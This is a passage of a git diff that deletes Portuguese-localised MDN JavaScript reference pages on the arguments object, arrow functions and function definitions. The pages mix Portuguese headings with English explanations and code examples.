-<p>You can use <code><a href="/en-US/docs/JavaScript/Reference/Functions_and_function_scope/arguments/length">arguments.length</a></code> to count how many arguments the function was called with. If you instead want to count how many parameters a function is declared to accept, inspect that function's <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Function/length">length</a></code> property.</p>
-
-<h3 id="Utilizar_typeof_com_Arguments">Utilizar <code>typeof</code> com <em>Arguments</em></h3>
-
-<p>The <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/typeof">typeof</a></code> operator returns <code>'object'</code> when used with <code>arguments</code></p>
-
-<pre class="brush: js">console.log(typeof arguments); // 'object' </pre>
-
-<p>The type of individual arguments can be determined by indexing <code>arguments</code>:</p>
-
-<pre>console.log(typeof arguments[0]); // returns the type of the first argument</pre>
-
-<h2 id="Propriedades">Propriedades</h2>
-
-<dl>
- <dt></dt>
- <dt>{{jsxref("Functions/arguments/callee", "arguments.callee")}}</dt>
- <dd>Reference to the currently executing function that the arguments belong to.</dd>
- <dt>{{jsxref("Functions/arguments/length", "arguments.length")}}</dt>
- <dd>The number of arguments that were passed to the function.</dd>
- <dt>{{jsxref("Functions/arguments/@@iterator", "arguments[@@iterator]")}}</dt>
- <dd>Returns a new {{jsxref("Array/@@iterator", "Array iterator", "", 0)}} object that contains the values for each index in <code>arguments</code>.</dd>
-</dl>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<h3 id="Definir_uma_function_que_concatena_várias_strings">Definir uma <em>function</em> que concatena várias <em>strings</em></h3>
-
-<p>This example defines a function that concatenates several strings. The function's only formal argument is a string containing the characters that separate the items to concatenate.</p>
-
-<pre class="brush:js">function myConcat(separator) {
- var args = Array.prototype.slice.call(arguments, 1);
- return args.join(separator);
-}</pre>
-
-<p>You can pass as many arguments as you like to this function. It returns a string list using each argument in the list:</p>
-
-<pre class="brush:js">// returns "red, orange, blue"
-myConcat(', ', 'red', 'orange', 'blue');
-
-// returns "elephant; giraffe; lion; cheetah"
-myConcat('; ', 'elephant', 'giraffe', 'lion', 'cheetah');
-
-// returns "sage. basil. oregano. pepper. parsley"
-myConcat('. ', 'sage', 'basil', 'oregano', 'pepper', 'parsley');</pre>
-
-<h3 id="Definir_uma_function_que_cria_listas_HTML">Definir uma <em>function</em> que cria listas HTML</h3>
-
-<p>This example defines a function that creates a string containing HTML for a list. The only formal argument for the function is a string that is "<code>u</code>" if the list is to be unordered (bulleted), or "<code>o</code>" if the list is to be ordered (numbered). The function is defined as follows:</p>
-
-<pre class="brush:js">function list(type) {
- var html = '&lt;' + type + 'l&gt;&lt;li&gt;';
- var args = Array.prototype.slice.call(arguments, 1);
- html += args.join('&lt;/li&gt;&lt;li&gt;');
- html += '&lt;/li&gt;&lt;/' + type + 'l&gt;'; // end list
-
- return html;
-}</pre>
-
-<p>You can pass any number of arguments to this function, and it adds each argument as a list item to a list of the type indicated. For example:</p>
-
-<pre class="brush:js">var listHTML = list('u', 'One', 'Two', 'Three');
-
-/* listHTML is:
-"&lt;ul&gt;&lt;li&gt;One&lt;/li&gt;&lt;li&gt;Two&lt;/li&gt;&lt;li&gt;Three&lt;/li&gt;&lt;/ul&gt;"
-*/</pre>
-
-<h3 id="Parâmetros_Rest_predefinição_e_desestruturados">Parâmetros Rest, predefinição, e desestruturados</h3>
-
-<p>The <code>arguments</code> object can be used in conjunction with <a href="/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">rest</a>, <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters">default</a>, and <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">destructured</a> parameters.</p>
-
-<pre class="brush: js">function foo(...args) {
- return args;
-}
-foo(1, 2, 3); // [1,2,3]
-</pre>
-
-<p>While the presence of rest, default, or destructured parameters does not alter the <a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode#Making_eval_and_arguments_simpler">behavior of the <code>arguments</code> object in strict mode code</a>, there is a subtle difference for non-strict code.</p>
-
-<p>In strict-mode code, the <code>arguments</code> object behaves the same whether or not a function is passed rest, default, or destructured parameters. That is, assigning new values to variables in the body of the function will not affect the <code>arguments</code> object. Nor will assigning new variables to the <code>arguments</code> object affect the value of variables.</p>
-
-<div class="blockIndicator note">
-<p><strong>Nota:</strong> You cannot write a <code>"use strict";</code> directive in the body of a function definition that accepts rest, default, or destructured parameters. Doing so will throw <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Errors/Strict_Non_Simple_Params">a syntax error</a>.</p>
-</div>
-
-<p>Non-strict functions that are passed only simple parameters (that is, not rest, default, or restructured parameters) will sync the value of variables new values in the body of the function with the <code>arguments</code> object, and vice versa:</p>
-
-<pre class="brush: js">function func(a) {
- arguments[0] = 99; // updating arguments[0] also updates a
- console.log(a);
-}
-func(10); // 99
-</pre>
-
-<p>And also:</p>
-
-<pre class="brush: js">function func(a) {
- a = 99; // updating a also updates arguments[0]
- console.log(arguments[0]);
-}
-func(10); // 99
-</pre>
-
-<p>Conversely, non-strict functions that <strong>are</strong> passed rest, default, or destructured parameters <strong>will not</strong> sync new values assigned to argument variables in the function body with the <code>arguments</code> object. Instead, the <code>arguments</code> object in non-strict functions with complex parameters <strong>will always</strong> reflect the values passed to the function when the function was called (this is the same behavior as exhibited by all strict-mode functions, regardless of the type of variables they are passed):</p>
-
-<pre class="brush: js">function func(a = 55) {
- arguments[0] = 99; // updating arguments[0] does not also update a
- console.log(a);
-}
-func(10); // 10</pre>
-
-<p>E também:</p>
-
-<pre class="brush: js">function func(a = 55) {
- a = 99; // updating a does not also update arguments[0]
- console.log(arguments[0]);
-}
-func(10); // 10
-</pre>
-
-<p>E também:</p>
-
-<pre class="brush: js">// An untracked default parameter
-function func(a = 55) {
- console.log(arguments[0]);
-}
-func(); // undefined</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName('ESDraft', '#sec-arguments-exotic-objects', 'Arguments Exotic Objects')}}</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibildiade_de_navegador">Compatibildiade de navegador</h2>
-
-
-
-<p>{{Compat("javascript.functions.arguments")}}</p>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<ul>
- <li>{{JSxRef("Function")}}</li>
- <li><a href="/pt-PT/docs/Web/JavaScript/Reference/Funcoes/parametros_rest">Parâmetros Rest</a></li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/functions/arrow_functions/index.html b/files/pt-pt/web/javascript/reference/functions/arrow_functions/index.html
deleted file mode 100644
index 1a2246534b..0000000000
--- a/files/pt-pt/web/javascript/reference/functions/arrow_functions/index.html
+++ /dev/null
@@ -1,400 +0,0 @@
----
-title: Expressões da função "Seta"
-slug: Web/JavaScript/Reference/Functions/Arrow_functions
-translation_of: Web/JavaScript/Reference/Functions/Arrow_functions
-original_slug: Web/JavaScript/Reference/Funcoes/Funcoes_seta
----
-<div>{{jsSidebar("Functions")}}</div>
-
-<p>Uma <strong>expressão da função seta</strong> é uma alternativa sintaticamente compacta a uma expressão de <a href="/pt-PT/docs/Web/JavaScript/Reference/Operadores/função">expressão de função</a> regular, embora sem as suas próprias associações às palavras-chave <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">this</a></code>, <code><a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments">arguments</a></code>, <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/super">super</a></code>, ou <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/new.target">new.target</a></code>. As expressões de função (<em>function</em>) de seta são inadequadas como métodos, e não podem ser utilziadas como construtores.</p>
-
-<div>{{EmbedInteractiveExample("pages/js/functions-arrow.html")}}</div>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<h3 id="Basic_syntax">Basic syntax</h3>
-
-<pre class="syntaxbox">(param1, param2, …, paramN) =&gt; { statements }
-(param1, param2, …, paramN) =&gt; expression
-// equivalent to: =&gt; { return expression; }
-
-// Parentheses are optional when there's only one parameter name:
-(singleParam) =&gt; { statements }
-singleParam =&gt; { statements }
-
-// The parameter list for a function with no parameters should be written with a pair of parentheses.
-() =&gt; { statements }
-</pre>
-
-<h3 id="Advanced_syntax">Advanced syntax</h3>
-
-<pre class="syntaxbox">// Parenthesize the body of a function to return an object literal expression:
-params =&gt; ({foo: bar})
-
-// <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Rest_parameters">Rest parameters</a> and <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters">default parameters</a> are supported
-(param1, param2, ...rest) =&gt; { statements }
-(param1 = defaultValue1, param2, …, paramN = defaultValueN) =&gt; {
-statements }
-
-// <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">Destructuring</a> within the parameter list is also supported
-var f = ([a, b] = [1, 2], {x: c} = {x: a + b}) =&gt; a + b + c;
-f(); // 6
-</pre>
-
-<h2 id="Descrição">Descrição</h2>
-
-<p>See also <a href="https://hacks.mozilla.org/2015/06/es6-in-depth-arrow-functions/">"ES6 In Depth: Arrow functions" on hacks.mozilla.org</a>.</p>
-
-<p>Two factors influenced the introduction of arrow functions: the need for shorter functions and the behavior of the <code>this</code> keyword.</p>
-
-<h3 id="Funções_curtas">Funções curtas</h3>
-
-<pre class="brush: js">var elements = [
- 'Hydrogen',
- 'Helium',
- 'Lithium',
- 'Beryllium'
-];
-
-// This statement returns the array: [8, 6, 7, 9]
-elements.<a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map">map</a>(function(element) {
- return element.length;
-});
-
-// The regular function above can be written as the arrow function below
-elements.map((element) =&gt; {
-  return element.length;
-}); // [8, 6, 7, 9]
-
-// When there is only one parameter, we can remove the surrounding parentheses
-elements.<a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map">map</a>(element =&gt; {
- return element.length;
-}); // [8, 6, 7, 9]
-
-// When the only statement in an arrow function is `return`, we can remove `return` and remove
-// the surrounding curly brackets
-elements.map(element =&gt; element.length); // [8, 6, 7, 9]
-
-// In this case, because we only need the length property, we can use destructuring parameter:
-// Notice that the `length` corresponds to the property we want to get whereas the
-// obviously non-special `lengthFooBArX` is just the name of a variable which can be changed
-// to any valid variable name you want
-elements.<a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map">map</a>(({ length: lengthFooBArX }) =&gt; lengthFooBArX); // [8, 6, 7, 9]
-
-// This destructuring parameter assignment can also be written as seen below. However, note that in
-// this example we are not assigning `length` value to the made up property. Instead, the literal name
-// itself of the variable `length` is used as the property we want to retrieve from the object.
-elements.<a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map">map</a>(({ length }) =&gt; length); // [8, 6, 7, 9]
-</pre>
-
-<h3 id="No_separate_this">No separate <code>this</code></h3>
-
-<p>Before arrow functions, every new function defined its own <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">this</a></code> value based on how the function was called:</p>
-
-<ul>
- <li>A new object in the case of a constructor.</li>
- <li><code>undefined</code> in <a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a> function calls.</li>
- <li>The base object if the function was called as an "object method".</li>
- <li>etc.</li>
-</ul>
-
-<p>This proved to be less than ideal with an object-oriented style of programming.</p>
-
-<pre class="brush: js">function Person() {
- // The Person() constructor defines `this` as an instance of itself.
- this.age = 0;
-
- setInterval(function growUp() {
- // In non-strict mode, the growUp() function defines `this`
- // as the global object (because it's where growUp() is executed.),
- // which is different from the `this`
- // defined by the Person() constructor.
- this.age++;
- }, 1000);
-}
-
-var p = new Person();</pre>
-
-<p>In ECMAScript 3/5, the <code>this</code> issue was fixable by assigning the value in <code>this</code> to a variable that could be closed over.</p>
-
-<pre class="brush: js">function Person() {
- var that = this;
- that.age = 0;
-
- setInterval(function growUp() {
- // The callback refers to the `that` variable of which
- // the value is the expected object.
- that.age++;
- }, 1000);
-}</pre>
-
-<p>Alternatively, a <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind">bound function</a> could be created so that a preassigned <code>this</code> value would be passed to the bound target function (the <code>growUp()</code> function in the example above).</p>
-
-<p>An arrow function does not have its own <code>this</code>. The <code>this</code> value of the enclosing lexical scope is used; arrow functions follow the normal variable lookup rules. So while searching for <code>this</code> which is not present in current scope, an arrow function ends up finding the <code>this</code> from its enclosing scope.</p>
-
-<p>Thus, in the following code, the <code>this</code> within the function that is passed to <code>setInterval</code> has the same value as the <code>this</code> in the lexically enclosing function:</p>
-
-<pre class="brush: js">function Person(){
- this.age = 0;
-
- setInterval(() =&gt; {
- this.age++; // |this| properly refers to the Person object
- }, 1000);
-}
-
-var p = new Person();</pre>
-
-<h4 id="Relation_with_strict_mode">Relation with strict mode</h4>
-
-<p>Given that <code>this</code> comes from the surrounding lexical context, <a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a> rules with regard to <code>this</code> are ignored.</p>
-
-<pre class="brush: js">var f = () =&gt; { 'use strict'; return this; };
-f() === window; // or the global object</pre>
-
-<p>All other strict mode rules apply normally.</p>
-
-<h4 id="Invoked_through_call_or_apply">Invoked through call or apply</h4>
-
-<p>Since arrow functions do not have their own <code>this</code>, the methods <code>call()</code> and <code>apply()</code> can only pass in parameters. Any <code>this</code> argument is ignored.</p>
-
-<pre class="brush: js">var adder = {
- base: 1,
-
- add: function(a) {
- var f = v =&gt; v + this.base;
- return f(a);
- },
-
- addThruCall: function(a) {
- var f = v =&gt; v + this.base;
- var b = {
- base: 2
- };
-
- return f.call(b, a);
- }
-};
-
-console.log(adder.add(1)); // This would log 2
-console.log(adder.addThruCall(1)); // This would log 2 still</pre>
-
-<h3 id="No_binding_of_arguments">No binding of <code>arguments</code></h3>
-
-<p>Arrow functions do not have their own <a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments"><code>arguments</code> object</a>. Thus, in this example, <code>arguments</code> is simply a reference to the arguments of the enclosing scope:</p>
-
-<pre class="brush: js">var arguments = [1, 2, 3];
-var arr = () =&gt; arguments[0];
-
-arr(); // 1
-
-function foo(n) {
- var f = () =&gt; arguments[0] + n; // <em>foo</em>'s implicit arguments binding. arguments[0] is n
- return f();
-}
-
-foo(3); // 6</pre>
-
-<p>In most cases, using <a href="/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">rest parameters</a> is a good alternative to using an <code>arguments</code> object.</p>
-
-<pre class="brush: js">function foo(n) {
- var f = (...args) =&gt; args[0] + n;
- return f(10);
-}
-
-foo(1); // 11</pre>
-
-<h3 id="Arrow_functions_used_as_methods">Arrow functions used as methods</h3>
-
-<p>As stated previously, arrow function expressions are best suited for non-method functions. Let's see what happens when we try to use them as methods:</p>
-
-<pre class="brush: js">'use strict';
-
-var obj = { // does not create a new scope
- i: 10,
- b: () =&gt; console.log(this.i, this),
- c: function() {
- console.log(this.i, this);
- }
-}
-
-obj.b(); // prints undefined, Window {...} (or the global object)
-obj.c(); // prints 10, Object {...}</pre>
-
-<p>Arrow functions do not have their own <code>this</code>. Another example involving {{jsxref("Object.defineProperty()")}}:</p>
-
-<pre class="brush: js">'use strict';
-
-var obj = {
- a: 10
-};
-
-Object.defineProperty(obj, 'b', {
- get: () =&gt; {
- console.log(this.a, typeof this.a, this); // undefined 'undefined' Window {...} (or the global object)
- return this.a + 10; // represents global object 'Window', therefore 'this.a' returns 'undefined'
- }
-});
-</pre>
-
-<h3 id="Use_of_the_new_operator">Use of the <code>new</code> operator</h3>
-
-<p>Arrow functions cannot be used as constructors and will throw an error when used with <code>new</code>.</p>
-
-<pre class="brush: js">var Foo = () =&gt; {};
-var foo = new Foo(); // TypeError: Foo is not a constructor</pre>
-
-<h3 id="Use_of_prototype_property">Use of <code>prototype</code> property</h3>
-
-<p>Arrow functions do not have a <code>prototype</code> property.</p>
-
-<pre class="brush: js">var Foo = () =&gt; {};
-console.log(Foo.prototype); // undefined
-</pre>
-
-<h3 id="Use_of_the_yield_keyword">Use of the <code>yield</code> keyword</h3>
-
-<p>The <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/yield">yield</a></code> keyword may not be used in an arrow function's body (except when permitted within functions further nested within it). As a consequence, arrow functions cannot be used as generators.</p>
-
-<h2 id="Function_body">Function body</h2>
-
-<p>Arrow functions can have either a "concise body" or the usual "block body".</p>
-
-<p>In a concise body, only an expression is specified, which becomes the implicit return value. In a block body, you must use an explicit <code>return</code> statement.</p>
-
-<pre class="brush: js">var func = x =&gt; x * x;
-// concise body syntax, implied "return"
-
-var func = (x, y) =&gt; { return x + y; };
-// with block body, explicit "return" needed
-</pre>
-
-<h2 id="Returning_object_literals">Returning object literals</h2>
-
-<p>Keep in mind that returning object literals using the concise body syntax <code>params =&gt; {object:literal}</code> will not work as expected.</p>
-
-<pre class="brush: js">var func = () =&gt; { foo: 1 };
-// Calling func() returns undefined!
-
-var func = () =&gt; { foo: function() {} };
-// SyntaxError: function statement requires a name</pre>
-
-<p>This is because the code inside braces ({}) is parsed as a sequence of statements (i.e. <code>foo</code> is treated like a label, not a key in an object literal).</p>
-
-<p>You must wrap the object literal in parentheses:</p>
-
-<pre class="brush: js">var func = () =&gt; ({ foo: 1 });</pre>
-
-<h2 id="Line_breaks">Line breaks</h2>
-
-<p>An arrow function cannot contain a line break between its parameters and its arrow.</p>
-
-<pre class="brush: js">var func = (a, b, c)
- =&gt; 1;
-// SyntaxError: expected expression, got '=&gt;'</pre>
-
-<p>However, this can be amended by putting the line break after the arrow or using parentheses/braces as seen below to ensure that the code stays pretty and fluffy. You can also put line breaks between arguments.</p>
-
-<pre class="brush: js">var func = (a, b, c) =&gt;
-  1;
-
-var func = (a, b, c) =&gt; (
-  1
-);
-
-var func = (a, b, c) =&gt; {
-  return 1
-};
-
-var func = (
- a,
- b,
-  c
-) =&gt; 1;
-
-// no SyntaxError thrown</pre>
-
-<h2 id="Parsing_order">Parsing order</h2>
-
-<p>Although the arrow in an arrow function is not an operator, arrow functions have special parsing rules that interact differently with <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Operator_Precedence">operator precedence</a> compared to regular functions.</p>
-
-<pre class="brush: js">let callback;
-
-callback = callback || function() {}; // ok
-
-callback = callback || () =&gt; {};
-// SyntaxError: invalid arrow-function arguments
-
-callback = callback || (() =&gt; {}); // ok
-</pre>
-
-<h2 id="More_examples">More examples</h2>
-
-<pre class="brush: js">// An empty arrow function returns undefined
-let empty = () =&gt; {};
-
-(() =&gt; 'foobar')();
-// Returns "foobar"
-// (this is an <a href="/en-US/docs/Glossary/IIFE">Immediately Invoked Function Expression</a>)
-
-var simple = a =&gt; a &gt; 15 ? 15 : a;
-simple(16); // 15
-simple(10); // 10
-
-let max = (a, b) =&gt; a &gt; b ? a : b;
-
-// Easy array filtering, mapping, ...
-
-var arr = [5, 6, 13, 0, 1, 18, 23];
-
-var sum = arr.reduce((a, b) =&gt; a + b);
-// 66
-
-var even = arr.filter(v =&gt; v % 2 == 0);
-// [6, 0, 18]
-
-var double = arr.map(v =&gt; v * 2);
-// [10, 12, 26, 0, 2, 36, 46]
-
-// More concise promise chains
-promise.then(a =&gt; {
- // ...
-}).then(b =&gt; {
- // ...
-});
-
-// Parameterless arrow functions that are visually easier to parse
-setTimeout( () =&gt; {
- console.log('I happen sooner');
- setTimeout( () =&gt; {
- // deeper code
- console.log('I happen later');
- }, 1);
-}, 1);
-</pre>
-
-<h2 id="Specifications">Specifications</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Specification</th>
- </tr>
- <tr>
- <td>{{SpecName('ESDraft', '#sec-arrow-function-definitions', 'Arrow Function Definitions')}}</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Browser_compatibility">Browser compatibility</h2>
-
-<div>
-
-
-<p>{{Compat("javascript.functions.arrow_functions")}}</p>
-</div>
-
-<h2 id="See_also">See also</h2>
-
-<ul>
- <li><a href="https://hacks.mozilla.org/2015/06/es6-in-depth-arrow-functions/">"ES6 In Depth: Arrow functions" on hacks.mozilla.org</a></li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/functions/index.html b/files/pt-pt/web/javascript/reference/functions/index.html
deleted file mode 100644
index b77d914f53..0000000000
--- a/files/pt-pt/web/javascript/reference/functions/index.html
+++ /dev/null
@@ -1,595 +0,0 @@
----
-title: Funções
-slug: Web/JavaScript/Reference/Functions
-tags:
- - Constructor
- - Função
- - Funções
- - JavaScript
- - Parâmetro
- - parâmetros
-translation_of: Web/JavaScript/Reference/Functions
-original_slug: Web/JavaScript/Reference/Funcoes
----
-<div>{{jsSidebar("Functions")}}</div>
-
-<p>Generally speaking, a function is a "subprogram" that can be <em>called</em> by code external (or internal in the case of recursion) to the function. Like the program itself, a function is composed of a sequence of statements called the <em>function body</em>. Values can be <em>passed</em> to a function, and the function will <em>return</em> a value.</p>
-
-<p>In JavaScript, functions are first-class objects, because they can have properties and methods just like any other object. What distinguishes them from other objects is that functions can be called. In brief, they are <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Function">Function</a></code> objects.</p>
-
-<p>For more examples and explanations, see also the <a href="/en-US/docs/Web/JavaScript/Guide/Functions">JavaScript guide about functions</a>.</p>
-
-<h2 id="Descrição">Descrição</h2>
-
-<p>Every function in JavaScript is a <code>Function</code> object. See {{jsxref("Function")}} for information on properties and methods of <code>Function</code> objects.</p>
-
-<p>To return a value other than the default, a function must have a <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/return">return</a></code> statement that specifies the value to return. A function without a return statement will return a default value. In the case of a <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/constructor">constructor</a> called with the <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/new">new</a></code> keyword, the default value is the value of its <code>this</code> parameter. For all other functions, the default return value is {{jsxref("undefined")}}.</p>
-
-<p>The parameters of a function call are the function's <em>arguments</em>. Arguments are passed to functions <em>by value</em>. If the function changes the value of an argument, this change is not reflected globally or in the calling function. However, object references are values, too, and they are special: if the function changes the referred object's properties, that change is visible outside the function, as shown in the following example:</p>
-
-<pre class="brush: js">/* Declare the function 'myFunc' */
-function myFunc(theObject) {
- theObject.brand = "Toyota";
-}
-
-/*
- * Declare variable 'mycar';
- * create and initialize a new Object;
- * assign reference to it to 'mycar'
- */
-var mycar = {
- brand: "Honda",
- model: "Accord",
- year: 1998
-};
-
-/* Logs 'Honda' */
-console.log(mycar.brand);
-
-/* Pass object reference to the function */
-myFunc(mycar);
-
-/*
- * Logs 'Toyota' as the value of the 'brand' property
- * of the object, as changed to by the function.
- */
-console.log(mycar.brand);
-</pre>
-
-<p>The <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this"><code>this</code> keyword</a> does not refer to the currently executing function, so you must refer to <code>Function</code> objects by name, even within the function body.</p>
-
-<h2 id="Definindo_funções">Definindo funções</h2>
-
-<p>There are several ways to define functions:</p>
-
-<h3 id="The_function_declaration_(function_statement)">The function declaration (<code>function</code> statement)</h3>
-
-<p>There is a special syntax for declaring functions (see <a href="/en-US/docs/Web/JavaScript/Reference/Statements/function">function statement</a> for details):</p>
-
-<pre class="syntaxbox">function <em>name</em>([<em>param</em>[, <em>param</em>[, ... <em>param</em>]]]) {
- <em>statements</em>
-}
-</pre>
-
-<dl>
- <dt><code>name</code></dt>
- <dd>The function name.</dd>
-</dl>
-
-<dl>
- <dt><code>param</code></dt>
- <dd>The name of an argument to be passed to the function. A function can have up to 255 arguments.</dd>
-</dl>
-
-<dl>
- <dt><code>statements</code></dt>
- <dd>The statements comprising the body of the function.</dd>
-</dl>
-
-<h3 id="The_function_expression_(function_expression)">The function expression (<code>function</code> expression)</h3>
-
-<p>A function expression is similar to and has the same syntax as a function declaration (see <a href="/en-US/docs/Web/JavaScript/Reference/Operators/function">function expression</a> for details). A function expression may be a part of a larger expression. One can define "named" function expressions (where the name of the expression might be used in the call stack for example) or "anonymous" function expressions. Function expressions are not <em>hoisted</em> onto the beginning of the scope, therefore they cannot be used before they appear in the code.</p>
-
-<pre class="syntaxbox">function [<em>name</em>]([<em>param</em>[, <em>param</em>[, ... <em>param</em>]]]) {
- <em>statements</em>
-}
-</pre>
-
-<dl>
- <dt><code>name</code></dt>
- <dd>The function name. Can be omitted, in which case the function becomes known as an anonymous function.</dd>
-</dl>
-
-<dl>
- <dt><code>param</code></dt>
- <dd>The name of an argument to be passed to the function. A function can have up to 255 arguments.</dd>
- <dt><code>statements</code></dt>
- <dd>The statements comprising the body of the function.</dd>
-</dl>
-
-<p>Here is an example of an <strong>anonymous</strong> function expression (the <code>name</code> is not used):</p>
-
-<pre class="brush: js">var myFunction = function() {
- statements
-}</pre>
-
-<p>It is also possible to provide a name inside the definition in order to create a <strong>named</strong> function expression:</p>
-
-<pre class="brush: js">var myFunction = function namedFunction(){
-  statements
-}
-</pre>
-
-<p>One of the benefit of creating a named function expression is that in case we encounted an error, the stack trace will contain the name of the function, making it easier to find the origin of the error.</p>
-
-<p>As we can see, both examples do not start with the <code>function</code> keyword. Statements involving functions which do not start with <code>function</code> are function expressions.</p>
-
-<p>When functions are used only once, a common pattern is an <strong>IIFE (<em>Immediately Invokable Function Expression</em>)</strong>.</p>
-
-<pre class="brush: js">(function() {
- statements
-})();</pre>
-
-<p>IIFE are function expressions that are invoked as soon as the function is declared.</p>
-
-<h3 id="The_generator_function_declaration_(function*_statement)">The generator function declaration (<code>function*</code> statement)</h3>
-
-<p>There is a special syntax for generator function declarations (see {{jsxref('Statements/function*', 'function* statement')}} for details):</p>
-
-<pre class="syntaxbox">function* <em>name</em>([<em>param</em>[, <em>param</em>[, ... <em>param</em>]]]) {
- <em>statements</em>
-}
-</pre>
-
-<dl>
- <dt><code>name</code></dt>
- <dd>The function name.</dd>
-</dl>
-
-<dl>
- <dt><code>param</code></dt>
- <dd>The name of an argument to be passed to the function. A function can have up to 255 arguments.</dd>
-</dl>
-
-<dl>
- <dt><code>statements</code></dt>
- <dd>The statements comprising the body of the function.</dd>
-</dl>
-
-<h3 id="The_generator_function_expression_(function*_expression)">The generator function expression (<code>function*</code> expression)</h3>
-
-<p>A generator function expression is similar to and has the same syntax as a generator function declaration (see {{jsxref('Operators/function*', 'function* expression')}} for details):</p>
-
-<pre class="syntaxbox">function* [<em>name</em>]([<em>param</em>[, <em>param</em>[, ... <em>param</em>]]]) {
- <em>statements</em>
-}
-</pre>
-
-<dl>
- <dt><code>name</code></dt>
- <dd>The function name. Can be omitted, in which case the function becomes known as an anonymous function.</dd>
-</dl>
-
-<dl>
- <dt><code>param</code></dt>
- <dd>The name of an argument to be passed to the function. A function can have up to 255 arguments.</dd>
- <dt><code>statements</code></dt>
- <dd>The statements comprising the body of the function.</dd>
-</dl>
-
-<h3 id="The_arrow_function_expression_(>)">The arrow function expression (=&gt;)</h3>
-
-<p>An arrow function expression has a shorter syntax and lexically binds its <code>this</code> value (see <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">arrow functions</a> for details):</p>
-
-<pre class="syntaxbox">([param[, param]]) =&gt; {
- statements
-}
-
-param =&gt; expression
-</pre>
-
-<dl>
- <dt><code>param</code></dt>
- <dd>The name of an argument. Zero arguments need to be indicated with <code>()</code>.  For only one argument, the parentheses are not required. (like <code>foo =&gt; 1</code>)</dd>
- <dt><code>statements or expression</code></dt>
- <dd>Multiple statements need to be enclosed in brackets. A single expression requires no brackets. The expression is also the implicit return value of the function.</dd>
-</dl>
-
-<h3 id="The_Function_constructor">The <code>Function</code> constructor</h3>
-
-<div class="note">
-<p><strong>Note:</strong> Using the <code>Function</code> constructor to create functions is not recommended since it needs the function body as a string which may prevent some JS engine optimizations and can also cause other problems.</p>
-</div>
-
-<p>As all other objects, {{jsxref("Function")}} objects can be created using the <code>new</code> operator:</p>
-
-<pre class="syntaxbox">new Function (<em>arg1</em>, <em>arg2</em>, ... <em>argN</em>, <em>functionBody</em>)
-</pre>
-
-<dl>
- <dt><code>arg1, arg2, ... arg<em>N</em></code></dt>
- <dd>Zero or more names to be used by the function as formal parameters. Each must be a proper JavaScript identifier.</dd>
-</dl>
-
-<dl>
- <dt><code>functionBody</code></dt>
- <dd>A string containing the JavaScript statements comprising the function body.</dd>
-</dl>
-
-<p>Invoking the <code>Function</code> constructor as a function (without using the <code>new</code> operator) has the same effect as invoking it as a constructor.</p>
-
-<h3 id="The_GeneratorFunction_constructor">The <code>GeneratorFunction</code> constructor</h3>
-
-<div class="note">
-<p><strong>Note:</strong> <code>GeneratorFunction</code> is not a global object, but could be obtained from generator function instance (see {{jsxref("GeneratorFunction")}} for more detail).</p>
-</div>
-
-<div class="note">
-<p><strong>Note:</strong> Using the <code>GeneratorFunction</code> constructor to create functions is not recommended since it needs the function body as a string which may prevent some JS engine optimizations and can also cause other problems.</p>
-</div>
-
-<p>As all other objects, {{jsxref("GeneratorFunction")}} objects can be created using the <code>new</code> operator:</p>
-
-<pre class="syntaxbox">new GeneratorFunction (<em>arg1</em>, <em>arg2</em>, ... <em>argN</em>, <em>functionBody</em>)
-</pre>
-
-<dl>
- <dt><code>arg1, arg2, ... arg<em>N</em></code></dt>
- <dd>Zero or more names to be used by the function as formal argument names. Each must be a string that conforms to the rules for a valid JavaScript identifier or a list of such strings separated with a comma; for example "<code>x</code>", "<code>theValue</code>", or "<code>a,b</code>".</dd>
-</dl>
-
-<dl>
- <dt><code>functionBody</code></dt>
- <dd>A string containing the JavaScript statements comprising the function definition.</dd>
-</dl>
-
-<p>Invoking the <code>Function</code> constructor as a function (without using the <code>new</code> operator) has the same effect as invoking it as a constructor.</p>
-
-<h2 id="Parâmetros_de_função">Parâmetros de função</h2>
-
-<h3 id="Parâmetros_predefinidos">Parâmetros predefinidos</h3>
-
